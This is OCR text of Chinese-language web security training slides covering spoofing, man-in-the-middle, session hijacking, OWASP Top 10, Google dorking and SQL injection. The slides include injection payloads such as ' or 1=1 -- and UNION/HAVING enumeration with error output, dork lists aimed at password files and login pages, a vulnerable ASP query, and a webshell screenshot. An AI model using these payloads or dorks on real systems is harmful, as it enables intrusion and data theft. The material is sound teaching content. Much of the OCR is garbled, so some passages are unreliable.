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AL i

o REFTY 2R %
— 3908 (Spyware)
- B3 I‘:Pé‘:éa-‘)ﬁﬁi (Malicious Mobile Code)
— 49 4.:7 #c(Phishing Attack)
— 445 & ¥ (Key-logger)
o R IR AR
— 7 3§53 P~(Internet Access)
— RE AR
e B iiflid * (Streaming Media)
e EE:iz4 #(Internet radio)

/.

o FRE 2 E
— 7 pFid 2 (Instant Messaging)
— P2PT§$5?](Peer-to-peer file sharing)
e EXLDELHF
— EERE R R T
— pIRRER 5 Z 7 5 (Employee Hacking)
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* Network Spoofing
— MAC Spoofing / ARP Spoofing
— DHCP Spoofing
— DNS Spoofing
— |IP Spoofing
 Mobile/Wireless
— SSID Spoofing
— GPS Spoofing
e HTTP
— Referer Header Spoofing
— X-Forwarded-For Spoofing
 |dentify Spoofing
— Called ID Spoofing
— Email Spoofing, ...
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) % fbfj L B P
— i& 7 Mac Flooding » = % Switch 2. Mac-Address-
Table
o HTiE
— HEH - 3R RS RERN TREE E 42 ARPY B
» @ HARP Tables #4535 > @ FiX 3 7 3 2 [
IMAC (5]4-i# * netcut)
° #@é
— i& 7 ARP Spoofingfs » & £xIP Forwarding ' & 3 £ @
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« DHCP Spoofing
— 3R 3 e B ¥ DHCP Requestis » 3 1% g
2_DHCP Replyit e » @145 382
IP/Gatewaly/DNS % 3 31

— #-H DNS &t Gateway#;] w B & o TR A Man In
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e Layer 2
— TCP Session Hijacking
— RST Hijacking
— Blind Hijacking
— DNS Cache Poisoning
— Wireless Hijacking (Man-in-the-Middle)
e Layer /
— Cookie & Session ID (Man-in-the-Middle)
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DNS Spoof

 DNS Spoofing
— FiFEE2ZDNSwy R e @ P B EF422 DN
<->|P ¥R
— ALie: AP iRREEzite > Ky KiEp e o TFERLT
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—TH P T R Ryd ¢
« DNS Cache Poisoning
— 2 DNS Spoofing#g v » e rc# p £ 5 4392 DNSI %
— {* 5 #HHPORT/Query ID% 33 ;«:Lﬁinb 7_33 8L Fe w3t v Row

mixEag 2 3¢ 0 @ DNS Server®2~i745:%2 DN<->|IP & T
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— HTTP/HTTPS Man-in-the-Middle
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L2 Man-in-the-midg
i [ S A e

« 41| * Spoofing / Session Hijacking
— Frec P 482 ¥ - 222 ARP Table » # 1% 2
ey KR 2
— B ExIP Forwarding# £ 3+t » £ %= = Man In
The Middle
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. i
? (Jamming)
gt 0 .-+ % 11 De-Authentication
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— Proxy i +i& (#2378 *F 5 Man In The Middle

— %t — 422 Proxy Servert o i * HrkARNE TS Bk
 Transparent Proxy

— stig d v K In-Line Mode Transparent Proxy

— & * Routerz. WCCP5 #_

— > Gateway kit i IPIPORT Rewrite

fe & 213 eSSLIGE & F { 4
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HTTP MITM ||\

» Session/Cookie Spoofing
—JU#* * i Eh s R E R AR5 8L B F
< & » % = 2 Cookie/Session ID
— fiflw £ 2 Cookiep 7 > R 5 RE M * K
Z_Session
— @ Rt P2 LTI R IEIT
* Proxy
— % = ¥ F ~ s #-H Session ID & 453 A #%
— Fix4E8z2_Session D i H 5 ~ 4 Pt
— AR LT N 2 Sessmn
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 Response & z¢
— Set-Cookie: [NAME]=[VALUE];
path=[PATH]; expires=[TIME];
domain=[DOMAIN]
 Requestitzg
— Cookie: [NAME1]=[VALUEL1];
INAME2]=[VALUEZ2] ..
« Cookiert s A va(,; i K-k
EHA) -
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Session

o SessioniE 3 e by (ki
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— URL 4t 8 #c
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— Cookie
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— PHPSESSID

— ASPSESSIONID
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Cookie Poisoning/Spoofinge

. %‘;-‘q‘éfcizﬂﬁ%% D2 4 ¢ ehCookie
- R L > HRAER
o ¥ L Fw —Cookie ¥ 3 afE T R
—uid : B ¥
—username : F
—admin : 0/1/Y/N

— permission : B #/F ¥
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SSL(Secure Sockets Layer) + HTTP
#RISSLT kA A K LR 2N 0 8
{7 2b 7 ?*SSL@‘&—?%’;\ o 45 | & | 4

SSL#* 4 2TCP/IP:g 518 » 48 &7 7] Ffi

— 7 AT

- 7 e £ 45

- RFPEERBRFEIPALE 2T L F v RER Y A
SSL f# ;Em}%:&» FIRBICIERLE G AR TR
2009+# % ® 2 iy 5% % + ¢ (Black Hat 2009) ¢
Moxie ¥ % — £ SSLSNIFx £ > 5 43 #aSSL:d 5
P A ITEE o
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Google : M EmRABEDFPECNNICRZE

Google FEEF #HKRBECNNICHIR BB HEEVER » & FRAIChrome A EREFHSHRRAL—FHE - B 7 REHESE
BE—*EEENEF » MBRGoogleFEZ BT EZEEZChromeFESHBNCNNICEZ R R0 EEEE -

3/ [BEF] | 2015-04-02 % GEY 5= s@mAimhomesinE GEIEEL 734 81
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OWASP 2013 # -'-

* Injection Flaw(;x ») L3
— FHP-Z BT TAHLE o SN qpdlgesk TR kL
Broken Authentication and Session Management ( 3.3 4 »% )
— LR AR
o Cross-Site Scripting(§ =t %r & s #)
— % % ¢ oCookies' Sessionz » 7 i
* Insecure Direct Object Reference($ i %)
— R RN AFREF MR LE TR
e Security Mlsconflguratlon( T 2E T E)
— PEMHFEVRTT § > RLELXTF
« Sensitive Data Exposure (#8477 ¢k % )
— HI),&, I“J’ P ’f' ?L\Z'}iﬁ % 'PE] 1% 5 @:G‘ ~ A $ R iy A MZ e gE
. Mlssmg Function Level Access Control( & 241 # i & 73 B~ )
— ? L N&‘E ;\m;};J }Ex J\_I *ﬁxfl& v"* ’E{:‘,_’I‘Emff)"’
+ Cross-Site Request Forgery(i =t % | 3%)
- ,é?*ﬂ@;‘;qpm @%ﬂléﬁ}{:,}.im@/k F.«f,.
e Using Known Vulnerable Components (i * % & » & i)
— RFAREXRPPIREDF JFENF P
Unvalidated Redirects and Forwards ( A %% % F € 378 & )

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
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y i 5\: Ly

i"ﬂi get RandomNumber ()

return Y. // chosen by fair dice roll.
/ quaranteed to be random.

* SONY PS3 17 i #5 4k phf# 50 7]
— Design Error
— Human Error
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1
Address |.¢J hitp:#oolber neteraft comiste_reportPurl=http:fwwrw mnd gov tw
Google - | || [Glseach ~ | B Nopopups | 2] Options ¥
Site Rttpffwww. rand, gou. tw Last reboot unknown Eﬂuptime graph
Domain gov.ty Hetblock Military of Mational Defense
Lyl g
IP address 210.241.73.37 Site rank 684221
Country Bl MNameserver c.twnic. net. tw
Date first January 1998 DNS admin hostmaster@hinet. net
seen
Domain unknown Reverse DMNS 210-241-73-37.HIMET-IP. hinet. net
Registy
Organisation unknown Nameserver unknown
Drganisation

Check I

another site:

Hosting History

Netblock Ovmner

Military of Mational Defense Taipei City Taiwan

CHTD, Chunghwa Telecom Co., Ltd, Data-Bldg., 14F, Mo, 21,
Sec, 21, Hzin-¥i Rd., Taipei Taiwan

GSM, Taiwan Government Service Metwork, Data-Bldg.14F,
Mo.21, Sec.21, Hsin-¥i Rd. Taipei Taiwan 100
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Last
IP address os Web Server
changed
210.241.73.37 Windows unknown I-May-
2000 2004
210.241.73.37 Windows unknown 21-Mar-

o227 Nttp://www.netcraft.com




Google + #

 Intitle:index.of "parent directory"

a intifle-index of "parent directory™ - Google =}t - Microsoft Internet Explorer — IEIIiI
WEE AEE WR0D HOREW TED HEO |

07 -©-1d 6| o e M@ nd3s

HEHED I@ hittp#hweww. goo gle com twAsanchfonrceid =navelientdhl=zh- T W &ie=1 TF-B&ule=1 T4 CGLL_zh-TW TW200T W20 Sy =intitle [\'J EE

EE R o ma -
Rt e U WS Gl ELV EPNIES

Google Ilntltle:index.nf "parent directory” BE | e | GRS

© FrEEE O dovEE O sedoriEs O SEnEe

L=k =D #9554 ,000,00018 7 < intitle:index.of “parent directory" &2 » LITE2FE 1-1005 - SEIF0.47 F -

BT HEREgY (BR) MR - IEREARTIEEREES -

Index of idaily_mpg - [ #EHE

Parent Directary, - [WI0], 080709 _cZ.mpg, 09-0ct-2008 14:45, 271K, [WID], 080709 _c3.mpg,
09-0ct-2008 14:45, 909K, [vID], 080709 _eit_195 rnpg, 09-0ct-2003 ...
lasco-wwar il nawy milfdaily_mpos - 45k - BESE - HLEE

Index of fbooty - [ 205 ]
Farent Directaryd, -, Directary. 11dotsf, 2007-Sep-30

Dec-29 16:31:00, -, Directory ...

paeycsites.musthedestrlor?tcedo.royrgfbnntyf - 19k - BEE _ﬁ % C l— S Ite <d O m al n > E- #5 %Qﬁ

Index of /- [ EIE | v 4 _;}%y"‘ 53 e
[DIR] Parent Directory 07-Jun-2005 09:05 - [DIR] 00c ' ?‘3 <d O m al n > Lr

O0webalizers 01-Feb-2009 23:25 - [DIR]

1 O O

2 o
BES i R F.
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o I HF G
— Google
— Yahoo
— Baidu

o % 2 S\
— P &% 37 (Directory Browsing)
— & %4y T (Domain Crawling)
— 7 . 3 & (Information leaking)
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° #‘ # ;3‘:.: V=
— site: ($= 4F T e 4t)
— inurl: (F= F T2 %)
— intext: (#FEF L F N~ F)
— Intitle: (3= # F 1£457)
— link: (éf?zx Sk Nk Ny
° # # EL Fg
— "index of" (#& B *c p &1 )
— Server at
— parent directory
— Intitle: “index of”
— admin
— login
— admin_login.asp
— test

/4 4 %5

— zﬁvp’g/»
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=2 é! Besis sy

o filetype: (= ## T4 &= 2 3°)
 cache: (3% % 7 tgoogle” 73 7 4l)
— http://www.google.com/search?g=cache:3Q5L

OWDn6emwJ:www.issdu.com.tw/+www.issdu.
com.tw&hl=zh-TW&ct=clnk&cd=1

— P H jhie
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I

“Understanding the adversary
mindset is an important element in designing and
developing effective protective strategies.”

—Anl$ Yoran, Former Director of the National Cyber
Security Division, Department of Homeland Security

Google
Hacking

FOR PENETRATION TESTERS

Explore the Dark Side of Googling

= Morph Google from “Directory Assistance Please” into a Rig Mounted
Pneumatic Rock Drill

« See How Bad Guys Use Portscans, CGI Scans, and Web Server
Fingerprinting to Stroll in the Back Door of Your Enterprise

» Slam the Door on Malicious Google Hacks That Expose Your
Organization’s Information Caches, Firewalls, IDS Logs,
and Password Databases

FOREWORD
Johnny Long - BY ED SKOUDIS
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GH.é

o http://www.hackersforcharity. org/ghdb/
— Advisories and Vulnerabilities
— Error Messages
— Files containing juicy info
— Files containing passwords
— Files containing usernames
— Footholds
— Pages containing login portals
— Pages containing network or vulnerability data
— Sensitive Directories
— Sensitive Online Shopping Info
— Various Online Devices
— Vulnerable Files
— Vulnerable Servers
— Web Server Detection

Stark Technology Inc.
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o F iTinurl enfpf B
— 7 } =>index
— % »=>login
— R[FF=>test
— "tk gL=>user,

— % Fg=>password,

— 2 7=> admin,
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o LY IR
— { P rrenée & admlogin
—4v P LA FRLeh& LD osti_adm
— BT MGk L
« function4.asp
« function.asp?f=123

— 7 BIEY Rk L
« adduser, deluser, removeuser, manageuser
e user.asp?action=edit

o B ErBAR
L

— cgi-bin
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o <0p
. <2
o * Xt
o title=, alt=
e Javascript:

o BT RIEEF O T
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PRH
P rb B0 f A2 5

— AAESAE P L K RIP

— ANARNB Y RREERE LB
— AIARAS ¢ U AR
P2k @R E

— REFTIUF ‘5-5/

— AP o AR

— B AF e 2k PR E 53 2L
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o i "#? %a?#a 80 ~ 443 ~ 8080 port
’T#" * 1B —
— NMAP
— SuperScan
— hping
— PortScan Plus
— Strobe
— NetScan Tools Pro

— ISS Nerwork Scanner
— Foundstone FoundScan
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* For Windows & UNIX
— http://nmap.org/
* For Windows

— http://www.mcafee.com/tw/downloads/free-
tools/superscan.aspx




I [ 8 " .
f R ™
I, ! v b il
! ] Fu ] :: - e, -\_
f -' : ‘, | ¥ R B A Y (
! - Fgu B Py ACA i . A\ 1'%
7 'r e 4 __‘:‘ r ; BT, A -.-__‘.fl.._ e, % }‘

e Free

— Nikto

— Wikto

— Jsky

— Skipfish

— Scrawlr (only scan SQL Injection from HP)
« Commercial

— Acunetix — Web Vulnerability Scanner

— IBM AppScan

— HP Weblnspect

— N-Stalker — Web Application Security Scanner
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S g ! 4 s o, - o
y Rl SR N 2. o :
¥ | E _- .1 [ | / we '-'. st |
t ." : [ = i .". 15 g :'-'.'.'_: =%
1 - 4 i e :: e e WY LB S,
7 y o [ el - "

e ab (Apache Benchmark)
— http://httpd.apache.org/

e JMeter
— http://jakarta.apache.org/imeter/

* Microsoft Web Application Stress Tool

— http://www.microsoft.com/technet/archive/itsolutions/
ntranet/downloads/webstres.mspx

* Microsoft Application Center Test

— http://msdn2.microsoft.com/en-
us/library/aa287410(VS.71).aspx

e .... Many tools
— http://www.softwaregatest.com/gatwebl.html
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 HP Mercury LoadRunner

— http://www.mercury.com/us/products/performance-
center/loadrunner/

 IBM Rational Performance Tester

— http://www-
306.1bm.com/software/awdtools/tester/performance/index.html

« Compuware QALoad
— http://www.compuware.com/products/qgacenter/qaload.htm

» Radview WebLOAD

— http://www.radview.com/product/description-overview.aspx

 Borland SilkPerformer
— http://www.borland.com/us/products/silk/silkperformer/index.html

« Empirix Web Applications Testing and Monitoring
Solutions
— http://www.empirix.com/products-services/web applications.asp
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* Microsoft Internet Information Service (11S)
—PHP -~ ASP ~ .Net ~ CGI

e Apache
—PHP ~ PYTHON -~ CGI

« Tomcat ~ Resin ~ JBOSS -~ WebLogic
— Java

 Ruby On Ralls (ROR)
— Ruby
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#MALICIOUS-CODE is executed when

7 \ Bash sets an environment variable using
Referer: { {::); #MALICIOUS-CODE s ;Tteeggsiggﬁé%r: content. Active exploit
G—o L Web Server * Theft of password files
AN, * Forced downloads of external content
via WGET

« Setting up a Telnet session to the attacker
for direct access to the system

The reason Shellshock is so dangerous is:

0 Exploit string is passed in an HTTP header,; Bash _e_ _ ) )
it then allows any system-level command Operating System » Complex shell scripts acting as a Trojan
accessible via Bash to be executed remotely. that allows remote access

@ There is no limitation on the length of the ~ -~ * Infection of botnets, which are already
commands being passed in HTTP headers. actively involved in DDoS attacks
Security researchers have already identified \. y,
attempted exploits leveraging lengthy scripts
in the wild,

Stark Technology Inc.
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+ Rl » R
— From HTTP Request

 Header (URL Parameters ~ Cookies -~ ...)
* Body (Form Data)

o HiTIF
— DB SQL Query
— OS Command
— Talk to Another System

Sterl Téismnelug v ne

FENREDBERAT




HyperText Transfer ﬁ‘r ) LOCO I

e HTTP 7 Request/Response Model
2L 7 SessionHip 4
9;41{-—)); AR F S R e A o 3
A E 3 - S s ] R R
- URL Re-writing

—->Hidden Form
-2 Server Session / Client Cookies

« HTTPR A & A% £ F % 54 |
>4 R AFR @ (-&rSSL)ijzp“E”v 2§ eh
4L
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1 % - Browser E)f te,‘[

e TamperlE
— http://www.bayden.com/Other/
- R R EEE
— ¥ YEiF Javascript # B

« HTTPWaltch
— http://www.httpwatch.com/

— k1 IE ~ Firefox s7#* - B Request -~ 2 Response
— TR Re AR
« HTTP Analyzer
— http://lwww.ieinspector.com/httpanalyzer/
— #g iy HTTPWatch
— # Standalonesx * ¥ % & #8475 F T %
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 Paros

— http://www.parosproxy.org/
 Odysseus

— http://lwww.bindshell.net/tools/odysseus

e Fiddler
— http://lwww.fiddlertool.com/fiddler/

* Burp suite
— http://portswigger.net/suite/

e WebScarab
— http://lwww.owasp.org/index.php/Category:OWASP WebScarab Project

 SPIKE Proxy

— http://www.immunitysec.com/resources-freesoftware.shtml

e Achilles
— http://lwww.mavensecurity.com/achilles

Stark Technology Inc.
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[Method] [URL] [Version]

i# % (Request)

— 1% 8F (Header)

(H 17 1)

} p ~ (Body)

o 3 ! request method, document location, protocol
version

o 1&#p @ User-Agent, Accept.. &
e N I H Fuj”";}«'- s DidcE ~ B

B Stark Technology Inc.
r R SEST:

'“L-:r'él'

\




GET @ ?éi%?ﬁ?ilﬁz

POST FEAFTALI SR RT (FN)
CONNECT iR 17 3 S (S>proxy)

HEAD ¥ B8 w2 e Header p %
OPTIONS || @R E & ¥ é+Method
TRACE Rt e BFRRETR
PUT ENHEFILIRIRE L

DELETE Pk PIRE 2 %
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e GET

) e

2

2N A
Ky

"A.
= m; =
¥ w0
o

o, xarm_ba
™o ﬁmum.\
Ty BE
& ‘,,h:nluvﬁw
w2 & OUF
v T o O
LT kW
AL . S
_

|
— %

body &

25

o
S

Ine.

BRI BER

=
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o HTTP/L.0 i) —
GET/HTTP/1.0

Host: www.google.com
\n

« HTTP/1.1 persistent connection = &|—
GET /HTTP/1.1
Host: www.google.com
Connection: Keep-Alive
\n

« HTTP/2 — Binary Frame
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Vs

e & A #° 7| —
POST /login.asp HTTP/1.1

Host: www.google.com
Content-Type: application/x-www-form-urlencoded

Content-Length: 21

\n
username=abcé&test=123

G J
Y

21 characters
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s o J;" &I Er»} 4\ T
J ; F e ; e - PE/S T4 -_‘) .&' e,
! Fro B W e i en, s, TR, M O D T W

® /‘E' )N %,c‘a ]/}lj —
POST /login.asp HTTP/1.1

Host: www.google.com
Content-Type: application/x-www-form-urlencoded

Content-Lenqgth: 33

\n
username=%61%62%63&test=%31%32%33

— _/
v

33 characters
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o ¥

—
}L_,_
lllgas

HTTP HEAD

.
o

4

telnet & netcat(nc) X £ | =T 5

telnet #&-=£ 80
HEAD / HTTP/1.0

oo, CAWINDO WS svystem 32 vwemd exe

Czs»nc ww.google.com 8@
HEAD ~ HITP~-1.8

HITFA1.4W 442 Found
Location: http:Aswww.google.com.tws
Cache—Control: private

Content-Type: textshtml; charset=UTF-8
Set—Cookie: PREF=ID=a?f%1h?3fdf753%a:TH=1252810467:-LH=12598108467:8=n07XN4RRchzht

gMx;: expirez=%at, B3I-Dec—2011 A3:21:07 GMT: path=r; domain=.google.com
Set—Cookie: NID=29=BQWJaRFtt-koNl=zMa jA8thxBFhaeF2MrocgzmcpAcLkg?MYcJjst?dCh35x?m
—2o0p—nNEyd jmdAT a4ZYRznpSUgFllucbbhMf me jhyd—gBNs 22 Mo hZiBGlgdAc Kt fskZ: expires=Fri
» B4—Jun—-2010 A3:21:87 GHMT: path=r:; domain=.google.com: HttpOnly

Date: Thu, B3 Dec 2087 B3:21:87 GHMT

SEPUERS gus

Content—Length: 222
H—d55—-Protection: A




ﬂﬁ%?#%&ﬁ%ﬁ%

Accept-Encoding

«Z‘Jﬁéﬁ’*#v Body P % /R 4 Srh

Accept-Language
Accept-Charset

fzﬂ%m&% HBody N 33 kb
=

Cookie

BiXcookiedis =g 1%

Host

2 E T 2 ez (IP2 DomainName)

If-Modified-Since

##lcachep % 75 2t

Refer - Ba%
User-Agent i FH TR
Authorization LA
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[Version] [Status]

¢ 15 (Status)

— {%#f (Header)

(1%~ )

} m ~ (Body)

o ki : protocol version, status code, reason
o {&L2f @ server, page information
« Entity body: requested document

5 B IS



HTTP Res pb % E‘@*"Z

S 3 P

. %@ 5
HTTP/1.1 200 OK
Date: Thu, 06 Aug 2009 07:20:36 GMT
Server: Microsoft-11S/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/ntml; charset=utf-8
Content-Length: 119260

<html xmIns="http://www.w3.0rg/1999/xhtml">
<head>
<titte>TEST WebSite ........
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Connection

L E At

(close ~ persistent connections)

Content-Type

Bodyp # # 31 (MIME-Type)

Content-Length

Bodyp % & B (bytes)
Note : This header is send for most
static documents, but not for

dynamically generated content -

Content-Encoding

Bodyp % ehhasg = 3N

Transfer-Encoding

Bodyp # @ > 3% (s : chunked)

o H s A7V Z 25 E 4

B4 Proxy % * X

Stark Technology Inc.
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1 XX Information
2XX sSuccess
3XX Redirection
AXX Client Error
SXX Server Error
o 9};;}; F'j( skl

— http://www.w3.org/Protocols/rfc2616/rfc2616-
secl10.html

— http://en.wikipedia.org/wiki/List_of HTTP_status cod
es

Stark Technology Inc.
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HTTP Respo nsfef:/ﬁfé tus, C

8

—

e ¥ &L eStatus Code
— 200 - OK
— 301 - Moved Permanently (Redirect)
— 302 - Found (Redirect)
— 304 - Not Modified (for Cache)
— 400 - Bad Request
— 401 - Unauthorized
— 403 — Forbidden
— 404 - Not Found
— 500 - Internal Server Error
— 501 - Method Not Implemented
— 503 - Service Unavailable
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Connecnon

K EAs Y

(close ~ persistent connections)

Content-Type

Bodyp % # 3| (MIME-Type)

Content-Length

Bodyp % & & (bytes)

Note : This header is send for most
static documents, but not for
dynamically generated content -

Content-Encoding

Bodyp % endhsg = 3\

Transfer-Encoding

Bodyp % @iﬁq% 79 (%] : chunked)

ﬁ_t.:(\ Z ]L’v'v T _»

'ﬁjézv Proxy % * X-

r Stark Technology Inc.
J EE HEREEEOBRAT

7 &P @ ankep
orwarded-For




Date PR E b 2 pF
Server i PR R e b PR AR AR 5N
Location Fa 237w p oy
WWW-Authenticate fé HBIFE > N
Keep-Alive FedF B R2 K T
Set-Cookie &k Zcookied| = =

X-Powered-By

Lol T

Cache-Control
Pragma
Expires

BRF p ¥ acache #+4)2

s M
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F3 ! ! _ - .
& ] : 8- A s -
'. - _“‘ .. i._- '. ; >
A ) -— =, 1 5
Servers3f T3 3\
J L : X B X ‘_"'l:_'\...l..'-_' "I\: ::‘ -—. .
N i . " Py | I gy, S W, e, e N
' - B ety [ hh Mgl T

« C-~C++

* Perl

o Shell Script ...

e PHP

e Java =2 JSP -~ Applet ~ Servlet

« ASP

 Net 2> ASP.NET ~ C# ~ VB.NET...
e PYTHON

 Ruby
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o
%—
’ 3%

— T@’J‘o% ‘;Ih%’,‘o%

| I, o/ py_+cbshell py?path= /Project

']"'Lr‘ - |'|Google

J-Backdoor Hot Found

=]

I.fProject

WebshellHFE

HErFETT (. /Project) T HI%iE:

WiE

csrf

fish
ieprint
poc
webtrojan
WOorm

0x37Project.rar

doc.html
gWorm.js
kKb.dj=

(C)Xeye Hack Team

NI HERAD

| BE&EREE | thiTe %

5% o #E cert )
2009-02-18
2009-02-18
2009-02-18
2009-02-18
2009-02-18
2009-02-18
2008-07-11
2008-05-20
2008-05-18
2008-06-03

(Sl L I T LT % I ' I L % I %
[ IV ST P T S S S S S ]

t17:
t17:
t17:
t17:
t17:
t17:
:57:
t50:
t01:
t12

SocketfR3#

37
37
37
37
37
37
o0
oo
oo

00

izl

R/W/X
R/W/X
B/W/X
R/W/X
R/W/X
B/W/X
R/W/X
R/W/X
B/W/X
R/W/X

#1E

Del/Rename
Del,/Rename
Del,/Rename
Del/Rename
Del,/Rename
Del,/Rename

R/C/D/ Del/Renames
R/C/D/ Del/Rename
R/C/D/ Del/Rename
R/C/D/ Del/Renames



.
 § ¥ ’
/ ] : 4 -
- BN -

. |' . '- _- 'l'-; “ " i

] : iy -} - \
;-f 2 , ak .: - 1
/ o -f RV SR N\

e ¥ 120verwrite £ £ K, %, bl4c
— [etc/passwd
— “C:\Documents and Settings\Administrator\ "
B 4e | 7o &\ BV d\
e 22 % html backdoor, |4
— RPN
» *z ¥ asp/php/cgi backdoor , &]4r

— AT E SR SRS
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Insecure Direct Object |

* Insecure Direct Object Reference
+ 17 WebJl A28 k& it Gy et i
BIRPT ERALR R
— http://www.xxx.com.tw/showPage.aspx?page
=main.aspx
— ¥ it ﬁé BE
° Bg] L

o 4k
‘\2% E‘ LI B ]
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File Edit

23 TS POOOT B4 - Microsoft Internet Explower

Wiews Favoritez Tool:  Help

15 72 L

C-O- HEAG POWwe 2 ol) A ol
Al [€ ip10101 z

HPODDLEYATE » HENEFIESE « §EYS  EEEHREED
28 TS POO01 f557 - Microsoft Internet Explover b -0l x|
File Edit Wiew Favorites Tools Help [}‘\ :’

Voant'prod _dese aspYFrod Mo=P0001 &FFile=FO001

Address | @] http:#10.10.1.

Microsoft WB=cnpt TR ErsEsR si5s BU0A0055"

1T EIESR

feartfprod_descoasp, FI[12

1. PFI|e’Ex;'7 TR -0 A

2. 3y At Fé‘,%‘]‘zgﬁk ¥ 7}%"7%‘?
. prod_desc.asp
5 o o c




o ok T} r I
o £F fE U5

Review: i@ ¥ 1§

° %’Eafﬂj
— https://web_ip/index.php?id=john&is admin=fales&m
enu=Dbasic
— https://web_ip/index.php?id=mary&is admin=fales&m
enu=Dbasic
— https://web_ip/index.php?id=john&is_admin=true&me
nu=basic
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o it —gmﬁﬁ,»‘;q‘i AR
PR T 0 (7 b fEARIE
* 5~ FTALESLF > SQL Injection !
e T X¥0S3# 7 - Command/PATH Injection!
. ﬁi-%l 3w E e > XSS Attack !
e ERFAFTFIHE L FHF 2 XSRF!
F o 1 Redirection > 47 4. %} !
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e Web * 25\ A& 4 i * iﬂz mﬁi%] Sl BaREE B TR
SQL
— Error Based ( ASP + MSSQL )
— Union / Blind / Update Based ( ALL )
— Stack Query (MSSQL )
— Extended Procedure ( MSSQL -~ Oracle)

© RERT

— ASP -~ .NET ~ Java ~ PHP ~ CGlI ......... etc
— MSSQL ~ MySQL -~ Oracle ~ Sybase ~ DB2 ~ PostgreSQL......... etc
° 3:‘5 =N }% _’:Fi’;‘ -

— iR PR

il USRS S g?- -2 N EPOIE - 2

- EFHRER

— ? J'* g £ 42 & (Stored Procedure) » i & st
- R BAATRG R FRER G
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fJ ¥ v
¥ - + X
¥ 3 g §
f i B *
[ ] fm y ? —pe -
I l < o=
[ I e By B =
| ] )
J 1 : YU
I o i SR
i . £ Beapd |

s BAROEERBBHSERLTEEERT
o %ﬂ i

aspiEp ¢ B

strSQL="SELECT * FROM tblUser WHERE

UserName=" & _Request("UserName") & " AND
Password=" & _Request("Pass") & "

Set rec=cnn.Execute(strSQL)
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v . i -
;3 ; 1 =~ . 3
' y § s L
a ) ] l [ ,. e :\..‘ r ) e
[ '] " =
! N 1 Wy wa
F N Y 1 1.5 -,
4 73 " R i
Y Mo e e T ey
. e el | = s

o ¥ iig N i
— GETFF e 4t
— POSTF e 8 ﬁ;r] ~ B
— Cookie
— P &A% T
— 97 HER S
* Referer
e X Forwarded_For
e User_ Agent
e Accept_Language

—fhx

Stark Technology Inc.
5 EE BB BRAT




RIpRED| P et »

i % #SQL £
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MS SQL Oracle Postgres
T-SQL ML BB PL/SOL DiE% PL/pgSQL
Concatenate e W W — . A
Strings + concat ("","") & [l + |
Null replace Isnull() Ifnull() Iff(Isnull()) [fnull() Ifnull() COALESCE()
Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()
select into .
Op Sys xp_cmdshell outfile / Hdate# utf_file 'rggogrzr%m Call
interaction dumpfile p
Cast Yes No No No Yes Yes

Stark Technology Inc.
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7‘ PE':?'(.,.

MS SQL MySQL Access Oracle DB2 Postgres
UNION Y Y Y Y Y Y
N 4.0

Subselects Y V41 N Y Y Y
Batch Queries Y N* N N N Y
Default stored Many N N Many N N

procedures
Linking DBs Y Y N Y Y N
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AT B~ SQLZ £ N ¥ end g3
e H - %3#%{ L ELBIITIER %ﬁ@a i
¥ éi%] »
username:admin, password:admpass
AT 3T
SELECT * FROM user_account
WHERE username="admin' AND password=‘admpass'

T A ﬁ;‘l ~
username:admin’ or 1=1--, password:’
A2 3T
SELECT * FROM user_account
WHERE userName='admin’ or 1=1--' AND password=""

e it FE
'or'l'="1
‘or 1=1 --
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o EEERETRIS AR - Microsoft Internet Explorer _ - O] x|

File Edit Wiew Favortes Tool: Help ﬁ-"
C-O NRAGLIe R LA al-
Address @htl'p:."."lD.EE#.EE.I!&dnﬁnlﬁt&sWalu&.asp'?mpu T +ort ] <sstemn_nser-- o

HTTF 500.100 - AER{EliR35d85% - L5F #53%
Internet Information Services

TR (BRI EE A SIER) [:%

o Foinipdl :
Microsft OLE DE Provider for ODBC Drivers (0x80040E07)
Microsoft] [ODBC S0L Server Drtver][S0L Server] S nvarchar &HE s
A R E RS int BRI TS RS -

i i 7

1.701%2buser — 701+system_user
e 701: %= »userie 2 3 8 i©
2.8 FHiE4E I 4 B~ MSSQL 0 system_user = 'sa’
3.7 #p|SQL statement 3 ¢ % & ASP#2:\ 75
input = Request('input')
| sgql _str = "select * from <some_table> where
L <some_col>="" & 1nput & """

R




list]l asp?c_no=01"and 1=1b_name()-- - Microzoft Internet E

BEF REE® WAV HHSEFW IAD HED ar
[y [ B A o ; l_‘l.
Q7 - - x[2 | Pre Jeawnz @ (- @8- JE 49 3
e Q. =% _nof01' and 1~4b_name(;- | B BE
Gogle| 8 - el G- M- | 8- oes- Qe > - OBA-
| | | =]
Microsoft OLE DB Provider for ODBC Drivers gis| B004007
[Microsoft[ODBC S0L Server Driver][20L Server|¥E nvarchlr #hE fushdb' ﬂﬁﬁ'ﬁkﬂ@ﬁﬂ% int BTty -
fgoodwebflist]. asp, F112
=
& = L | R Y
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3o
=
e

V3 z,

) ‘?a VlJ
pusernamet§ fiz » ' HAVING 1=1--

SELECT * FROM usér_account
WHERE
username="HAVING 1=1--" AND password="asdf"

¥ &
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Mrcrosoft][ODBC SQL Server Drrver][SQL Server] ot T
'user_accountuserid' &iEP-FH Y mrx > Fla T XA 7 AR ES

#® ¥ ;23 GROUPBY + ¢ -
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é_usernameragﬂi% * ' GROUP by userid HAVING 1=1--

SELECT * FROM usér_account
WHERE
username=" GROUP by userid HAVING 1=1-"'AND password="asdf"

¥ &
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Drrver][SQL Server] R
'user_account.username’ EB"’P 9 @i Flavihe 5 hd
B S et GROUP BY + ¢ 7 o
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pusernamety i » ' UNION SELECT 'a’,1,1--

SELECT * FROM usér_account

WHERE
username=" UNION SELECT 'a',1,1,1,1-- ' AND password="asdf’

¥
Microsoft OLE DB Provider for ODBC Drivers (0x80040EQ7)

[Microsoft][ODBC SQL Server Driver][SQL Server]#- varchar # & 'a’
e R FALA S 5 int DT AL TR AR
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e d UNION + ¢

o %@ ]
é_username%&ﬂﬂi@ X 'UNION SELECT username,1,1,1,1 FROM
user_account WHERE username>'a'’--

SELECT * FROM user_account

WHERE
username="'"UNION SELECT username,1,1,1,1 FROM user_account

WHERE username>'a’-- ' AND password="asdf’

Ll
Microsoft OLE DB Provider for ODBC Drivers (0x80040EQ7)

[Microsoft][ODBC SQL Server Driver][SQL Server]#- varchar #ie
admin' f 3 & FHA B L int R T E R AT

